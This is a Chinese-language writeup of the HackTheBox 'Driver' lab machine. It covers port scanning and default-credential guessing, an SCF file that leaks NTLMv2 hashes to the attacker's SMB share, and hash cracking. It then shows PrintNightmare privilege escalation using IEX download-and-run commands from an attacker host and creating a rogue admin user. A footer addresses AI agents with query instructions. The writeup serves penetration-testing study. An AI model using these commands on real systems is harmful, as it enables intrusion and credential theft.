> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Driver HackTheBox 复盘

Driver HackTheBox 简单 Windows 机器复盘，涵盖密码猜测、SCF 恶意文件、打印后台处理程序本地提权（PrintNightmare）（CVE-2021-1675]，并包含实用的枚举、ex

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**技能：**

* 密码猜测
* 恶意 SCF 文件
* 打印后台处理程序本地权限提升（PrintNightmare）（CVE-2021-1675]
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8975babb14226f171bd0f24e9c8f90a199fc4fce%2Fimage%20(2354).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f313df296ab7a354750b7c50d88654d447c9783a%2Fimage%20(2355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：** 在 Nmap 目录中探索开放端口并导出到 "allPorts" 文件：

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da72818a56e7a1a9fbb329a689bf2a6cddd08544%2Fimage%20(2356).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractport 分析开放端口：**

使用 extractport 函数以简洁格式显示开放端口并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d924ca7ad186e7220226ce07617aadcb8b756ba0%2Fimage%20(2357).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本并将信息提取到 "targeted" 文件中：

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ceebab7a66e2631fac796b2accb4693eb707556e%2Fimage%20(2358).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af754f2718b71c047a1f4b824c068760b6c78ee8%2Fimage%20(2360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 端口 80 分析：

端口 80 托管着一个带有连接面板的 Web 服务器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d4358a589eb22cf8d6865633cca79db2e7ab08%2Fimage%20(2359).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 **WhatWeb** 识别出一个默认用户名： `admin`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b572fe17d8b8483852d041c380126e3715a00c3%2Fimage%20(2361).png?alt=media" alt=""><figcaption></figcaption></figure>

尝试连接到 `admin:admin` 作为凭据。

### MFP 固件更新中心：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c2e4fa7afeac78ab2054457d43d48820da83e6%2Fimage%20(2362).png?alt=media" alt=""><figcaption></figcaption></figure>

该站点提供固件下载选项。消息表明：

> 选择打印机模板并在我们的文件共享中下载相应的固件更新。我们的测试团队会手动审查下载内容，并很快开始测试。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a103e1eaa660e3d39c978a9ed7a7baa4cbbb8a7%2Fimage%20(2363).png?alt=media" alt=""><figcaption></figcaption></figure>

## 利用 - SCF 恶意文件：

创建一个恶意 `.scf` 文件，以在用户打开时捕获其 NTLMv2：

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

使用 **impacket** 监听以捕获 NTLMv2：

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

捕获用户 `tony`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8da4df51c2563ba56afa6c970633def0b257d19%2Fimage%20(2366).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`破解 NTLM 哈希：`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b50cf05df25f3efb5bf2c48fe685df54937bdd0%2Fimage%20(2367).png?alt=media" alt=""><figcaption></figcaption></figure>

## SMB 和 WinRM 连接：

**访问验证** 使用 CrackMapExec：

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfa4134b21fbc453f0db0b7a4d19fe00bb208d31%2Fimage%20(2368).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* 使用 CrackMapExec 连接：

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47a8d2ad16655c87e7afe516d3c54d4da60cba74%2Fimage%20(2369).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Evil-WinRM 接管**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升：

### **1. 使用 PowerUp 枚举：**

* 下载 **PowerUp.ps1** 脚本到攻击机，并在末尾添加 `Invoke-AllChecks` 命令以启动所有检查。

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

通过 Python HTTP 服务器将脚本传输到受害机：

```bash
python3 -m http.server 80
```

目标机器上的执行情况：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **结果**：未找到相关项目。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e7f25b980206f6008a8d7a66adf0f03ea938545%2Fimage%20(1179).png?alt=media" alt=""><figcaption></figcaption></figure>

### **2. 使用 winPEAS 枚举：**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

工具传输 **winPEASx64.exe** 到受害机：

`上传 winPEASx64.exe`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db7b8bc1487a3b5d3e72148f7c7f5fb9177b2019%2Fimage%20(1180).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba43ece935e8c3f122dafd0f35e29563b01bf865%2Fimage%20(1181).png?alt=media" alt=""><figcaption></figcaption></figure>

## **PrintNightmare 利用（CVE-2021-1675）**

检测到一个存在漏洞的 **spoolsv** 进程，正在监听 TCP 端口。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7758f2014f5d29c3d5e3c9cc95202fee368cf30%2Fimage%20(1182).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 GitHub 上可用的 PrintNightmare 利用脚本。

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8357b9d6b652d259f51df09283909a51a1dd2e37%2Fimage%20(1184).png?alt=media" alt=""><figcaption></figcaption></figure>

以下是要执行的命令：

1. **脚本传输** 以避免被 Windows Defender 阻止：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **创建一个管理员用户** 名为 `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b59ad3640cd6e10b5da34ea29a6b553d594efb%2Fimage%20(1185).png?alt=media" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **状态**: `jordan` 用户现在已加入管理员组。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a853ac3f31ce52365a4a213bc231b7ddcbfa48c%2Fimage%20(1187).png?alt=media" alt=""><figcaption></figcaption></figure>

### 以管理员权限连接

通过 WinRM 连接到机器，使用 **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce5c738fcc46f4d5e63cf09f401039efcf4571d6%2Fimage%20(1186).png?alt=media" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b75823455d97d446599d2996c5be8342cf131a5c%2Fimage%20(1188).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f16b306249b5b417cd48781dbfd4ae868bb2757a%2F%7B4038B3C8-9E7D-4907-9CE6-B5E611D5FA88%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
